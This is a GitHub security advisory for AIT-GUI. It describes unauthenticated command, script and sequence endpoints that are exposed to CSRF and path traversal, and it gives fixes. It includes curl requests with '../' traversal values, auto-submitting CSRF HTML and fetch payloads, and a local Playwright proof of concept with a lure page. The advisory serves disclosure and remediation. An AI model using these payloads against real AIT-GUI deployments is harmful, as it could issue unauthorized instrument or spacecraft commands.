Skip to main content
Menu
Advisories

Summary AIT-GUI starts a web server that listens on all network interfaces (0.0.0.0) and exposes state-changing HTTP endpoints with no authentication, no authorization, and no CSRF protection

GHSA-P9R8-2Q67-FP86Published Updated GitHub

Description

AIT-GUI starts a web server that listens on all network interfaces (0.0.0.0) and exposes state-changing HTTP endpoints with no authentication, no authorization, and no CSRF protection. Any unauthenticated party who can reach the port — or any website the operator merely visits in a browser — can issue arbitrary instrument/spacecraft commands, run server-side scripts, and execute command sequences. Two of these endpoints additionally build filesystem paths from unvalidated user input, allowing path traversal outside the intended script/sequence directories.

Patches

  • 2.5.2
  • 2.5.2b1 (AIT-Core 2.x Baseline)

Impact

  • Type: Missing authentication for critical functions (CWE-306) + cross-site request forgery (CWE-352) + path traversal (CWE-22).
  • Who is impacted: Any deployment running the AIT-GUI web server. Because the listener is hardcoded to 0.0.0.0, the API is exposed to the whole reachable network regardless of the configured host; and because the endpoints are browser-reachable cross-origin, even a host-local/firewalled deployment is exploitable if an operator with browser access to the GUI visits a malicious web page.
  • What an attacker can do, unauthenticated: issue arbitrary commands via /cmd; execute server-side scripts via /script/run (including files outside the intended directory via path traversal); and run sequences via /seq (including out-of-directory files passed to a subprocess).

Details

All references are to ait/gui/__init__.py (verified in the latest release 2.5.1 and on master).

1. Server binds to all interfaces; configured host is ignored. The configured host value is read but discarded, and the listener is hardcoded to 0.0.0.0:

host = getattr(self, "host", "localhost")  # noqa: F841   # L404 — value never used
...
gevent.pywsgi.WSGIServer(
    ("0.0.0.0", port),                                     # L408 — hardcoded all-interfaces
    App, handler_class=geventwebsocket.handler.WebSocketHandler,
)

2. No authentication / authorization / CSRF protection anywhere. There is no auth middleware, no session/login requirement, no CSRF token, and no CORS restriction on any route. Every state-changing endpoint below accepts application/x-www-form-urlencoded bodies, which are CORS "simple" requests and therefore reachable cross-origin from a browser without a preflight.

3. POST /cmd — arbitrary command issuance (no auth).

@App.route("/cmd", method="POST")                          # L369
def handle_cmd():
    command = bottle.request.forms.get("command").strip()  # L380
    args = command.split()
    name = args[0].upper()
    args = [util.toNumber(t, t) for t in args[1:]]
    if self.send(name, *args):                              # L387 — relays the command
        ...

4. POST /seq — path traversal into a subprocess argument (no auth, no confinement).

@App.route("/seq", method="POST")                          # L1023
...
    bn_seqfile = bottle.request.forms.get("seqfile")       # L1031
...
def bg_exec_seq(bn_seqfile):                               # L1048
    seqfile = os.path.join(SEQRoot, bn_seqfile)            # L1049 — no confinement (only os.path.isfile)
    ...
    gevent.subprocess.Popen(["ait-seq-send", seqfile], ...)# L1060

The vulnerable web server is started by AIT-GUI on its default port (8080). Run these against your own AIT-GUI instance only.

(a) Unauthenticated command issuance (direct network request, no user interaction):

curl -i -X POST http://TARGET:8080/cmd \
  --data-urlencode 'command=NO_OP 1 2 3'

(b) Path traversal — run a script outside ScriptRoot:

curl -i -X POST http://TARGET:8080/script/run \
  --data-urlencode 'scriptPath=../../../../path/to/any/existing/script'

(c) Path traversal — sequence outside SEQRoot:

curl -i -X POST http://TARGET:8080/seq \
  --data-urlencode 'seqfile=../../../../path/to/any/existing/file'

(d) Browser CSRF — any website the operator visits can drive the API. The endpoints accept form-encoded bodies (a CORS "simple" request), so a cross-origin POST is delivered with no preflight. Single-line auto-submitting page:

<body onload="document.f.submit()"><form name="f" action="http://127.0.0.1:8080/cmd" method="POST"><input name="command" value="NO_OP 1 2 3"></form></body>

Equivalent one-line fetch variant (also no preflight):

<script>fetch("http://127.0.0.1:8080/cmd",{method:"POST",mode:"no-cors",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"command=NO_OP 1 2 3"})</script>

Captured network traffic from a real browser confirms the cross-origin POST is delivered with zero OPTIONS preflight requests, and the server processes it.

(e) Self-contained local PoC (no AIT-GUI install needed; real headless Chromium). Demonstrates that the command/script endpoints are reachable cross-origin from a browser with no CORS preflight, auth, or CSRF token. Two local origins on 127.0.0.1; the command/script sinks are mocked (record-only), so nothing real is executed. Requires pip install bottle playwright and python -m playwright install chromium.

#!/usr/bin/env python3
"""Self-contained PoC: AIT-GUI command/script endpoints are reachable cross-origin
from a browser with NO CORS preflight, authentication, or CSRF token.

A real headless Chromium loads an attacker page on origin B, which issues a
cross-origin form POST + fetch to a mock AIT-GUI on origin A, and we capture every
request to prove the POSTs are delivered (and executed) with zero OPTIONS preflights.

SAFE: two 127.0.0.1 origins on this machine only; command/script sinks are mocked
(record-only); headless; no real AIT-GUI, hardware, or remote host is touched.
Run:  python aitgui_csrf_poc.py
"""
import sys
import threading
from wsgiref.simple_server import make_server, WSGIRequestHandler

import bottle
from playwright.sync_api import sync_playwright

# Mock AIT-GUI (VICTIM, origin A) — verbatim route signatures, mocked sinks
SENT_COMMANDS = []   # MOCK self.send(name, *args) — no hardware
RAN_SCRIPTS = []     # MOCK gevent.spawn(bg_exec_script)

victim = bottle.Bottle()


@victim.route("/cmd", method="POST")          # ait/gui/__init__.py L369
def _cmd():
    command = bottle.request.forms.get("command").strip()
    args = command.split()
    SENT_COMMANDS.append((args[0].upper(), args[1:]))
    return "command accepted\n"


@victim.route("/script/run", method="POST")   # ait/gui/__init__.py L1118
def _run():
    RAN_SCRIPTS.append(bottle.request.forms.get("scriptPath"))
    return "script accepted\n"


# Attacker website (origin B) — the page a victim operator is lured to visit
def attacker_app(victim_base):
    html = f"""<!doctype html><html><body>
<h1>totally innocent cat pictures</h1>
<iframe name="sink" style="display:none"></iframe>
<form id="f" action="{victim_base}/cmd" method="POST" target="sink">
  <input name="command" value="ARM_THRUSTER 1 2 3">
</form>
<script>
  document.getElementById('f').submit();
  fetch("{victim_base}/script/run", {{
      method: "POST",
      mode: "no-cors",
      headers: {{ "Content-Type": "application/x-www-form-urlencoded" }},
      body: "scriptPath=" + encodeURIComponent("../../../../tmp/evil_planted.scr")
  }});
</script>
</body></html>"""

    def app(environ, start_response):
        start_response("200 OK", [("Content-Type", "text/html; charset=utf-8")])
        return [html.encode()]
    return app


class _Quiet(WSGIRequestHandler):
    def log_message(self, *a):
        pass


def serve(app):
    httpd = make_server("127.0.0.1", 0, app, handler_class=_Quiet)
    threading.Thread(target=httpd.serve_forever, daemon=True).start()
    return httpd, f"http://127.0.0.1:{httpd.server_address[1]}"


def main() -> int:
    vsrv, victim_base = serve(victim)
    asrv, attacker_base = serve(attacker_app(victim_base))
    print("=" * 74)
    print("AIT-GUI browser-CSRF PoC (real Chromium via Playwright)")
    print("=" * 74)
    print(f"  VICTIM  (mock AIT-GUI, origin A): {victim_base}")
    print(f"  ATTACKER(lure page,     origin B): {attacker_base}")
    print(f"  -> different ports = different origins = genuinely cross-origin\n")

    seen = []  # (method, url) for every request the browser makes
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        ctx = browser.new_context()
        ctx.on("request", lambda r: seen.append((r.method, r.url)))
        page = ctx.new_page()
        page.goto(attacker_base + "/", wait_until="networkidle")
        page.wait_for_timeout(1000)  # let the fetch() land
        browser.close()

    victim_reqs = [(m, u) for (m, u) in seen if u.startswith(victim_base)]
    options = [r for r in victim_reqs if r[0] == "OPTIONS"]
    posts = [r for r in victim_reqs if r[0] == "POST"]

    print("  Requests the BROWSER made to the victim origin:")
    for m, u in victim_reqs:
        print(f"     {m:<7} {u}")
    print(f"\n  CORS preflights (OPTIONS) to victim : {len(options)}  (expected 0)")
    print(f"  Cross-origin POSTs delivered        : {len(posts)}")
    print(f"\n  Server-side effect (what the victim WOULD have done):")
    print(f"     commands sent to hardware : {SENT_COMMANDS}")
    print(f"     scripts run               : {RAN_SCRIPTS}")

    vsrv.shutdown(); asrv.shutdown()

    ok = (len(options) == 0 and len(posts) >= 1
          and len(SENT_COMMANDS) >= 1 and len(RAN_SCRIPTS) >= 1)
    print("\n  RESULT:", "*** VULNERABLE: real browser drove cross-origin command/script "
          "execution with NO preflight, auth, or CSRF token ***" if ok else "not reproduced")
    print("\n(Local only: two 127.0.0.1 origins; command/script sinks mocked; headless.)")
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())

Expected output confirms the cross-origin POSTs to /cmd and /script/run are delivered and processed with 0 OPTIONS preflights.

Fix

  1. Require authentication/authorization on all state-changing endpoints; add CSRF protection (e.g., a token and/or rejecting CORS-simple content types for command/script/seq routes).
  2. Bind to the configured host (default localhost) instead of the hardcoded 0.0.0.0.
  3. Apply path confinement on /script/run and /seq mirroring the existing /scripts/load check: canonicalize with os.path.realpath, strip leading separators, and verify the resolved path is within ScriptRoot/SEQRoot (is_relative_to / startswith(root + os.sep)).

Affected versions

References

GitHub · NASA-AMMOS/AIT-GUI